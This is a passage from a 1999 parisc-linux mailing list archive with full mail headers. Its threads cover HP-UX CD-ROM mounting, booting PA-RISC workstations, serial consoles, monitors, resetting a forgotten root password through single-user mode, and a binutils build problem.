certain the switch settings are per the drive manual.  In general,
If this is the last drive on the chain, termination should be on.
SCSI2 should be OK.  You should be able to see the drive with
diskinfo if you have the SCSI ID and driver major/minor set correctly.

> 	is it possible to add something to pd_devinfo.tx that would allow it
> to mount?

Yes.  However, this is only for sam.  You should be able to manually
mount/umount the drive.  The busy error indicates that some process is
trying to open device file (possibly, because you have the device listed
in /etc/checklist).

> 
> 	when I try adding the following entry to /etc/checklist:
> 	/dev/dsk/c201d4s0 /cdrom cdfs defaults
> 
> 	i get the following message when i try to mount it:
> 	/dev/dsk/c201d4s0: Device busy

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike MacDonald <mmacdonald@tsi.gte.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cd-rom
Date: Wed, 29 Dec 1999 12:50:53 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <D7FDE5F0B39AD21181AA00805FA7183E040ABA86@tpaexc02.tsi.gte.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618713 29429 80.91.229.3 (22 Nov 2014 01:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'Ulrich Strelow'" <ulrich_strelow@yahoo.com>,
        "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>,
        "'Jan Bergman'" <jb@sapin.irfu.se>
Original-X-From: mmacdonald@tsi.gte.com  Wed Dec 29 10:55:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA06925
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Dec 1999 10:55:11 -0700
Original-Received: (qmail 17845 invoked by uid 15267); 29 Dec 1999 17:57:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17838 invoked from network); 29 Dec 1999 17:57:50 -0000
Original-Received: from uhuru.tsi.gte.com (HELO tsi.gte.com) (205.174.176.40)
  by mailserv2.iuinc.com with SMTP; 29 Dec 1999 17:57:50 -0000
Original-Received: from tpaexc02.tsi.gte.com by tsi.gte.com (5.x/SMI-SVR4)
	id AA21490; Wed, 29 Dec 1999 12:52:58 -0500
Original-Received: by tpaexc02.tsi.gte.com with Internet Mail Service (5.5.2650.21)
	id <ZZNYP43V>; Wed, 29 Dec 1999 12:50:53 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6649


I don't know if this helps (collaboration), but I have a 715/50, and it will
only boot from an HP CDRom that we have around here.  I have another cdrom
that I use the rest of the time - since it works great except for booting..

Anyway, my 715 will ONLY boot HPUX from certain cdroms, but will recognize
all cdroms fine.  I just figured there was something in the firmware or
something.

In fact, I can even read the HPUX cd no problem from my cdrom, but it won't
boot from it..   The HP CDROM worked fine..


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jay <jaym@mail.munsterman.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cd-rom
Date: Wed, 29 Dec 1999 16:48:42 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912291645060.18817-100000@savage.munsterman.com>
References: <D7FDE5F0B39AD21181AA00805FA7183E040ABA86@tpaexc02.tsi.gte.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618713 29430 80.91.229.3 (22 Nov 2014 01:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:53 +0000 (UTC)
Cc: "'Ulrich Strelow'" <ulrich_strelow@yahoo.com>,
        "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>,
        "'Jan Bergman'" <jb@sapin.irfu.se>, parisc-linux@thepuffingroup.com
To: Mike MacDonald <mmacdonald@tsi.gte.com>
Original-X-From: jaym@munsterman.com  Wed Dec 29 14:49:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA09031
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Dec 1999 14:49:27 -0700
Original-Received: (qmail 22736 invoked by uid 15267); 29 Dec 1999 21:52:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22721 invoked from network); 29 Dec 1999 21:52:08 -0000
Original-Received: from noc-host-35.bellsouth.net (HELO savage.munsterman.COM) (jaym@216.79.239.35)
  by mailserv2.iuinc.com with SMTP; 29 Dec 1999 21:52:08 -0000
Original-Received: from localhost (jaym@localhost)
	by savage.munsterman.COM (8.9.3/8.9.3) with ESMTP id QAA18821;
	Wed, 29 Dec 1999 16:48:42 -0500
In-Reply-To: <D7FDE5F0B39AD21181AA00805FA7183E040ABA86@tpaexc02.tsi.gte.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6650

Further collaboration... I have been able to boot my 715/50 and 715/100
from an old single speed Chinon drive to install HPUX.

On Wed, 29 Dec 1999, Mike MacDonald wrote:

> 
> I don't know if this helps (collaboration), but I have a 715/50, and it will
> only boot from an HP CDRom that we have around here.  I have another cdrom
> that I use the rest of the time - since it works great except for booting..
> 
> Anyway, my 715 will ONLY boot HPUX from certain cdroms, but will recognize
> all cdroms fine.  I just figured there was something in the firmware or
> something.
> 
> In fact, I can even read the HPUX cd no problem from my cdrom, but it won't
> boot from it..   The HP CDROM worked fine..
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <tom@piace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Thanks...alot
Date: Thu, 30 Dec 1999 02:12:46 -0600 (CST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912300157060.6990-100000@adam.piace.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618713 29432 80.91.229.3 (22 Nov 2014 01:11:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tom@adam.piace.com  Thu Dec 30 00:09:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA12542
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 00:09:58 -0700
Original-Received: (qmail 11060 invoked by uid 15267); 30 Dec 1999 07:12:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11052 invoked from network); 30 Dec 1999 07:12:40 -0000
Original-Received: from adam.piace.com (root@207.150.48.249)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 07:12:40 -0000
Original-Received: from localhost (tom@localhost)
	by adam.piace.com (8.9.3/8.9.3) with ESMTP id CAA07087
	for <parisc-linux@thepuffingroup.com>; Thu, 30 Dec 1999 02:12:46 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:6651

	Two weeks I have received two 735 on loan.  They came from a
surplus computer shop, and they did not know what they had, so I am
working on two of the to see if I can get them to work, and If I can I get
one for free in trade for telling them how to fix the others.  They still
have the hpux loaded, but they have the passwords set.  

	I would like to help with the porting effort, but I have not been
able to find a monitor that worked with the composit sync, and such a high
sync rate, and I thought all was lost, but after reading the last
few posts I was able to get one of them talking over a serial connection.  

	Does anyone know if hp has a development version of hpux like
sun has with solaris?  If not does anyone know of a way to reset the
password from the console.

	My only other idea is to find a diff scsi card that I can put
into my other linux box, and try to mount the root partions, and edit the
password file.  

	Any help would be great.  


					Thanks A Lot
					Thomas Bloom


From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Herold" <mherold@invacare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Thanks...alot
Date: Thu, 30 Dec 1999 08:03:17 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <85256857.0047409F.00@10.1.1.29>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618714 29435 80.91.229.3 (22 Nov 2014 01:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mherold@invacare.com  Thu Dec 30 05:59:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA15803
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 05:59:44 -0700
Original-Received: (qmail 7682 invoked by uid 15267); 30 Dec 1999 13:02:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7673 invoked from network); 30 Dec 1999 13:02:27 -0000
Original-Received: from inv-gateway.invacare.com (HELO inv-firewall.invacare.com) (firewall-user@207.50.158.58)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 13:02:27 -0000
Original-Received: by inv-firewall.invacare.com; id IAA25636; Thu, 30 Dec 1999 08:00:30 -0500
Original-Received: from unknown(10.1.1.29) by inv-firewall.invacare.com via smap (V5.0)
	id xma025126; Thu, 30 Dec 99 07:59:37 -0500
Original-Received: by 10.1.1.29(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 85256857.00474426 ; Thu, 30 Dec 1999 07:58:25 -0500
X-Lotus-FromDomain: IVCR
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:6652

Tom,

My 735 at home is running off a Hitachi CM630U.  It's a 17 inch monitor with
'sync on green' capabilities( 620's dont have this) . This monitor works for the
48z graphics box and the 24z graphics board that I have for my 735.

--Unrelated,  Does anyone know where I can find an original set of hardware
manuals
for the 735 series -- I believe myself or my better half inadvertently pitched
them out.  :-(

Mike


__________________

The contents of this message represent the opinions of the employee and not
necessarily the opinions of Invacare Corporation.



From - Thu Nov 08 21:11:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: FW: [parisc-linux] cd-rom
Date: Thu, 30 Dec 1999 08:16:06 -0600
Lines: 168
Approved: news@gmane.org
Message-ID: <BBAFD7A26E78D311834400805FEA1177011053A0@BHIHAWISS04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416618714 29439 80.91.229.3 (22 Nov 2014 01:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Gene.Soto@bakeroiltools.com  Thu Dec 30 07:16:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA16760
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 07:16:18 -0700
Original-Received: (qmail 25214 invoked by uid 15267); 30 Dec 1999 14:19:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25207 invoked from network); 30 Dec 1999 14:19:01 -0000
Original-Received: from gateway1.bhi-net.com (198.64.51.1)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 14:19:01 -0000
Original-Received: from bhihawcon04.inteq.com (bhihawcon04.bhi.bhi-net.com [147.108.122.236] (may be forged))
	by gateway1.bhi-net.com (8.9.2/8.9.0) with ESMTP id IAA20542
	for <parisc-linux@thepuffingroup.com>; Thu, 30 Dec 1999 08:19:06 -0600 (CST)
Original-Received: by BHIHAWCON04.bakerhughes.com with Internet Mail Service (5.5.2448.0)
	id <Z47XYTLN>; Thu, 30 Dec 1999 08:18:37 -0600
Return-Receipt-To: "Soto,  Gene G." <Gene.Soto@bakeroiltools.com>
X-Mailer: Internet Mail Service (5.5.2448.0)
Xref: news.gmane.org gmane.linux.ports.parisc:6653



----------
From:  Soto,  Gene G.
Sent:  Thursday, December 30, 1999 7:32 AM
To:  'John David Anglin'
Subject:  RE: [parisc-linux] cd-rom

Thanks,
I was able to mount it by resetting the switches (although I could swear I
tried them with the current configuration but on scsi id switch 3).

Your information is greatly appreciated.
Gene
	----------
	From:  John David Anglin [SMTP:dave@hiauly1.hia.nrc.ca]
<mailto:[SMTP:dave@hiauly1.hia.nrc.ca]> 
	Sent:  Wednesday, December 29, 1999 11:05 AM
	To:  Gene.Soto@bakeroiltools.com
<mailto:Gene.Soto@bakeroiltools.com> 
	Cc:  jb@sapin.irfu.se; <mailto:jb@sapin.irfu.se;>
parisc-linux@thepuffingroup.com <mailto:parisc-linux@thepuffingroup.com> 
	Subject:  Re: [parisc-linux] cd-rom

	> 	correction: it is a NEC MultiSpin 2Xe (CDR-74-1)
	> 
	> 	i have set the ID to 4.  I also tried it on 3 and it would
not
	> detect it.
	> 
	> 	it has 4 switches on the back and i have 1 & 2 set opposite
of what
	> is recommended
	> 	on the NEC webpage for installation on IBM or compatibles
(that's
	> the only way SAM
	> 	detected the device):
	> 	switch 1 is Factory Use Only(Normal OFF) (I have it ON)
	> 	switch 2 is Termination ON/OFF (I have it OFF)
	> 	switch 3 is SCSI2/ON SCSI1/OFF (I have it OFF)
	> 	switch 4 is Factory Use Only(Normal OFF) (I have it ON)

	Strange.  I have a NEC CD-ROM drive on my machine and I am pretty
	certain the switch settings are per the drive manual.  In general,
	If this is the last drive on the chain, termination should be on.
	SCSI2 should be OK.  You should be able to see the drive with
	diskinfo if you have the SCSI ID and driver major/minor set
correctly.

	> 	is it possible to add something to pd_devinfo.tx that would
allow it
	> to mount?

	Yes.  However, this is only for sam.  You should be able to manually
	mount/umount the drive.  The busy error indicates that some process
is
	trying to open device file (possibly, because you have the device
listed
	in /etc/checklist).

	> 
	> 	when I try adding the following entry to /etc/checklist:
	> 	/dev/dsk/c201d4s0 /cdrom cdfs defaults
	> 
	> 	i get the following message when i try to mount it:
	> 	/dev/dsk/c201d4s0: Device busy

	-- 
	J. David Anglin                                  dave.anglin@nrc.ca
<mailto:dave.anglin@nrc.ca> 
	National Research Council of Canada              (613) 990-0752
(FAX: 952-6605)

X-From-Line: hppa-linux@thepuffingroup.com  Thu Mar 11 17:55:14 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id RAA14509
	for <pcj@merlin.pcj.primenet.com>; Thu, 11 Mar 1999 17:55:14 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 11 Mar 1999 17:55:14 PST
Received: from smtp03.primenet.com (daemon@smtp01.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id SAA19618
	for <pcj@smtp-local.primenet.com>; Thu, 11 Mar 1999 18:44:03 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id SAA07402
	for <pcj@primenet.com>; Thu, 11 Mar 1999 18:44:01 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd007384; Thu Mar 11 18:43:58 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id UAA10433;
	Thu, 11 Mar 1999 20:43:59 -0500
Resent-Date: Thu, 11 Mar 1999 20:43:59 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Date: Thu, 11 Mar 1999 17:43:42 -0800 (PST)
From: Kevin Vajk <kvajk@cup.hp.com>
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap #4 successful
Message-Id: <Pine.LNX.4.04.9903111741010.2848-100000@uxho0334.cup.hp.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Resent-Message-ID: <"YiYYA2.0.wY2.U57ws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/173
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: ce7cec2dfee7646a4e7096b4f8f029f6
Lines: 54
Xref: merlin.pcj.primenet.com palinux:144



Another success booting from disk on an 816/E35.

- Kevin Vajk
  <kvajk@ricochet.net>



Main Menu: Enter command or menu > boot 56/40.6
Interact with IPL (Y or N)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 4


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.2 (interactive)
By Jason Eckhardt
Built Thu Mar 11 16:01:50 CST 1999 by jason@sathanas

IPL_DEBUG: Page zero parameters:
  P0_IMM_max_mem:          134217728 (128 MB)
  P0_BOOTCPU_10msec:       640000 (64 MHz)
  P0_BOOTCPU_mem_free:     0x00008000
  P0_BOOTCPU_hpa:          0xFFFBE000
  P0_BOOTCPU_pdc:          0xF001F648
  P0_COUT_iodc_io:         0x00008000
  P0_CIN_iodc_io:          0x00008000
  P0_BOOTDEV_iodc_io:      0x00008410
  P0_COUT_class:           0x00000007
  P0_CIN_class:            0x00000007
  P0_BOOTDEV_class:        0x00000001
Reading parameters...done.
Size = 28672 bytes, entry = 0x00001000, location = 0x0001B000.
Loading kernel...done.
Transferring control to kernel.

*********************************************************

VMLINUX 0.0: Dummy kernel image loaded and executing!


It is now safe to reboot.
/


-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to set serial console on 712 (fwd)
Date: Thu, 30 Dec 1999 07:36:53 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <199912301536.HAA11743@milano.cup.hp.com>
References: <Pine.BSF.4.10.9912231519330.638-100000@mkj.cb.lucent.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618714 29446 80.91.229.3 (22 Nov 2014 01:11:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: MaShaun Jones <mkj@mkj.cb.lucent.com>
Original-X-From: grundler@cup.hp.com  Thu Dec 30 08:32:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA17720
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 08:32:35 -0700
Original-Received: (qmail 17140 invoked by uid 15267); 30 Dec 1999 15:35:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17133 invoked from network); 30 Dec 1999 15:35:18 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 15:35:18 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 505AB135; Thu, 30 Dec 1999 10:35:17 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id HAA11743; Thu, 30 Dec 1999 07:36:57 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 23 Dec 1999 15:19:48 PST."
             <Pine.BSF.4.10.9912231519330.638-100000@mkj.cb.lucent.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6654

MaShaun Jones wrote:
> Is there a way to use a serial console with a 715 however?

Another method:
PDC will use serial port 1 as console if one holds TOC button (near
the power button) for about 10 seconds while powering on.

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Thu, 30 Dec 1999 10:53:37 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <199912301653.KAA10459@opus.cirr.com>
References: <Pine.LNX.4.10.9912300157060.6990-100000@adam.piace.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618715 29451 80.91.229.3 (22 Nov 2014 01:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: tom@piace.com
Original-X-From: eric@cirr.com  Thu Dec 30 09:51:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA18360
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 09:51:07 -0700
Original-Received: (qmail 12853 invoked by uid 15267); 30 Dec 1999 16:53:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12840 invoked from network); 30 Dec 1999 16:53:51 -0000
Original-Received: from opus.cirr.com (root@192.67.63.6)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 16:53:51 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id KAA10459;
	Thu, 30 Dec 1999 10:53:39 -0600 (CST)
In-reply-to: Your message of "Thu, 30 Dec 1999 02:12:46 CST."
             <Pine.LNX.4.10.9912300157060.6990-100000@adam.piace.com> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6655


tom@piace.com writes:
- 	Does anyone know if hp has a development version of hpux like
- sun has with solaris?  If not does anyone know of a way to reset the
- password from the console.

	Depending upon the OS version and the settings, you
should be able to boot the system to single user mode, and reset
the password.  I'm a bit out of practice, but if you ``boot
isl'', and then enter `/hp-ux -is' (for 9.0x) or `/stand/vmunix
-is' (for 10.20), you should be get a single user prompt,
without having to enter a password (later OS versions may
require the root password to enter single user mode.)

- 	My only other idea is to find a diff scsi card that I can put
- into my other linux box, and try to mount the root partions, and edit the
- password file.  

	That probably won't work, as the filesystem used by
HP-UX is just enough different that Linux won't be able to mount
it..  If it's a 10.20 or later system, running LVM, Linux
_realy_ won't know what to do with it..

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
	Have you ever noticed that the people who are always trying 
	to tell you, "There's a time for work and a time for play," 
			never find the time for play.


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <tom@piace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Thu, 30 Dec 1999 12:14:10 -0600 (CST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912301207530.8282-100000@adam.piace.com>
References: <199912301653.KAA10459@opus.cirr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618715 29454 80.91.229.3 (22 Nov 2014 01:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Eric Schnoebelen <eric@cirr.com>
Original-X-From: tom@adam.piace.com  Thu Dec 30 10:11:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA19250
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 10:11:26 -0700
Original-Received: (qmail 20843 invoked by uid 15267); 30 Dec 1999 17:14:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20834 invoked from network); 30 Dec 1999 17:14:08 -0000
Original-Received: from adam.piace.com (root@207.150.48.249)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 17:14:08 -0000
Original-Received: from localhost (tom@localhost)
	by adam.piace.com (8.9.3/8.9.3) with ESMTP id MAA08313;
	Thu, 30 Dec 1999 12:14:10 -0600
In-Reply-To: <199912301653.KAA10459@opus.cirr.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6656

I was able to boot into single user mode, and edit the password file.  It
took a while to find a terminal program for my computer, that would let me
run vi correctly.  Thanks for all your help.

On Thu, 30 Dec 1999, Eric Schnoebelen wrote:

> 
> tom@piace.com writes:
> - 	Does anyone know if hp has a development version of hpux like
> - sun has with solaris?  If not does anyone know of a way to reset the
> - password from the console.
> 
> 	Depending upon the OS version and the settings, you
> should be able to boot the system to single user mode, and reset
> the password.  I'm a bit out of practice, but if you ``boot
> isl'', and then enter `/hp-ux -is' (for 9.0x) or `/stand/vmunix
> -is' (for 10.20), you should be get a single user prompt,
> without having to enter a password (later OS versions may
> require the root password to enter single user mode.)
> 
> - 	My only other idea is to find a diff scsi card that I can put
> - into my other linux box, and try to mount the root partions, and edit the
> - password file.  
> 
> 	That probably won't work, as the filesystem used by
> HP-UX is just enough different that Linux won't be able to mount
> it..  If it's a 10.20 or later system, running LVM, Linux
> _realy_ won't know what to do with it..
> 
> --
> Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
> 	Have you ever noticed that the people who are always trying 
> 	to tell you, "There's a time for work and a time for play," 
> 			never find the time for play.
> 


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble building CVS binutils
Date: Thu, 30 Dec 1999 12:16:55 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <19991230121655.T12629@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618715 29459 80.91.229.3 (22 Nov 2014 01:11:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:55 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Dec 30 10:14:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA19681
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 10:14:13 -0700
Original-Received: (qmail 22068 invoked by uid 15267); 30 Dec 1999 17:16:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22049 invoked from network); 30 Dec 1999 17:16:56 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 17:16:56 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA29337
	for parisc-linux@thepuffingroup.com; Thu, 30 Dec 1999 12:16:55 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6657


I just attempted to build the binutils in CVS and ran across this problem.
When building bfd/hpux-core.c, it stops with a parse error before uint64_t
which is used in one of the hpux header files.  <sys/_inttypes.h>
does not define this type unless the __STDC_EXT__ symbol is defined.
I added this symbol to the egcs spec file and binutils now builds, but
